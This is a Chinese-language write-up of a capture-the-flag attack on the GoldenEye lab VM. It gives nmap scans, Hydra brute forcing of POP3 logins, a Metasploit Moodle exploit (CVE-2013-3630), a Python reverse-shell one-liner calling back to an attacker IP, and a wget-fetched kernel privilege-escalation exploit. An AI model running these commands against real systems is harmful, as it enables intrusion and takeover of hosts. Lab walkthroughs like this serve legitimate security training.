渗透测试靶机----GoldenEye
准备工作:
准备kali 一台,下载好GoldenEye靶机,,在VMware选项中选择网络,启用nat模式
启动靶机:
- 靶机显示需要登录,平平无奇
- 这个时候启动我们的kali,先扫描靶机的ip地址
nmap -sn 192.168.217.0/24
- 如图,发现靶机地址为192.168.217.140
信息收集
先来一波端口扫描,查看开放的端口
发现了开放25和80端口,25暂时不知道什么情况,优先处理80端口,直接访问网页,发现了提示:
这里他提示了一条线索,它说进入到/sev-home/目录中。
但是访问给的目录,发现需要登录,没有密码,束手无策。继续回上个页面查看信息查看页面源码
这里注释了一个js文件,那么肯定有问题,点进去查看这个js文件
js文件中也有一段注释内容,经过翻译,可以确定:提供了两个人名Boris、Natalya
并且下面存在一段编码值,尝试解码(直接使用burp的解码工具即可)得到了InvincibleHack3r
这里就怀疑这个密文和前面的两个人名的关联性,尝试拿去给定的目录登录,成功登录!!!通过翻译页面显示的内容,发现了 pop3 服务
pop3
- 上面我们已经确定了存在pop3服务,而我们扫描出来的端口并没有提示,那么需要重新扫描全端口,获取pop3服务的端口
- 这里又跑出来55006和55007端口,那么继续----
- nmap -sS -sV -T5 -A -p55006,55007 192.168.217.140
- 看到mail server,可以确定这是邮件服务器,而且在之前js文件中它提示了,目前使用的是默认账户密码,那么就可以尝试登录了
- 而登录密码还未知,可以尝试使用暴力破解,在上一步中找到的用户名“boris”,通过Hydra暴力破解pop3服务
最后报出来了两组密码:
login: natalya password: bird
login: boris password: secret1!
登录 pop3,直接查看
- 使用nc 尝试登录
- 这里成功登录boris用户,并且直接发现了三份邮件,逐一查看
- 这里直接翻译,没获取到实打实的有用信息,但是第二份邮件提示natalya可以破坏密码,那么我们切换登录用户,接着同样的方法登录natalya用户
邮件内容:
第二份中提示到:
URL:severnaya-station.com/gnocertdir
用户信用是:
用户名:xenia
密码:RCP90rulez!
而在其他邮件中依然没有有价值的地方,直接忽略
按照给定的提示,我们设置好hosts文件:gedit /etc/hosts
直接访问给定目录。
访问网页
moodle
- 这是一个开源CMS,,网页首页需要登录,那么前面第二份邮件提供的用户密码就应该是为这个登录准备的
- 成功登录!!!
各种功能尝试点点,发现一份邮件,用户名doak
出现了用户名,那么把这个用户名可以放在字典里,接着爆破
- 爆破得到的密码为:goat
再次尝试登录
发现了一份邮件,点开,存在用户名和密码,那么思路就清晰了,用这个用户名接着登录网页
成功登录!!,并且在新用户中我们发现和之前不同,存在一个 s3cret.txt文件
- 既然给出了文件,那么一定会有提示,文件内容是一张图片,将这个图片直接下载到本地,binwalk,strings,exiftool挨个分析一波
- 图片中存在编码值,那么肯定有问题,尝试解码,—> xWinter1995x!
- 文件中提到这是admin用户登录,那么尝试admin登录网页
到这里没什么思路了,但是我们之前还有一个利用点没有用,那就是cms,已知Moodle cms,尝试搜索相关exp----->CVE-2013-3630 漏洞可利用!
那么直接msf启动!
set username admin
—设置用户名:admin
set password xWinter1995x!
—设置密码:xWinter1995x!
set rhost severnaya-station.com
—设置:rhosts severnaya-station.com
set targeturi /gnocertdir
—设置目录: /gnocertdir
set payload cmd/unix/reverse
—设置payload:cmd/unix/reverse
set lhost 192.168.217.140
run!!
但是直接run发现没有成功?,这是因为对方需要修改执行PSpellShell,由于使用的是powershell命令,需要在设置中修改,直接在页面中打开设置,Plugins–Text editors—TinyMCE HTML editor
直接修改为PSpellShell。
直接run就可以了
- 另外还有一种反弹shell的方法,直接可以获得shell
- 在"Settings"–>“Site administration”–>“Server”–>“System paths”–>"Path to aspell"进行命令执行
- kali上监听端口,通过在home->my profile->blogs->add a new entry中新建文章,随便输入字符,点击"Toggle Spellchecker"之后就会反弹到shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.217.129",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
记得修改本地ip和端口,kali开启监听
内核提权
- 这里查看权限,直接谷歌搜索Linux ubuntu 3.13.0-32 exploit
- 可以直接发现exp 37292
- CVE(CAN) ID: CVE-2015-1328
- kali可以直接搜索:searchsploit 37292
- 这里直接
cp /usr/share/exploitdb/exploits/linux/local/37292.c /root/桌面/
- 文件需要启动编译器,查看gcc,cc是否存在,幸运的是,cc存在!
- 直接打开本地的37292.c文件,将第143行将gcc改为cc –
gedit 37292.c
- 保存退出!
本地启动一个http服务:
python -m http.server 8888
靶机shell进行下载:wget http://192.168.217.129:89/37292.c
下载成功,那么直接梭哈
cc -o exp 37292.c
—C语言的CC代码编译点c文件
chmod +x exp
—编译成可执行文件,并赋权
./exp
id
成功提权,那么查看flag信息:cat /root/.flag.txt
,成功获取到flag信息!
至此,打靶成功!!
参考:点我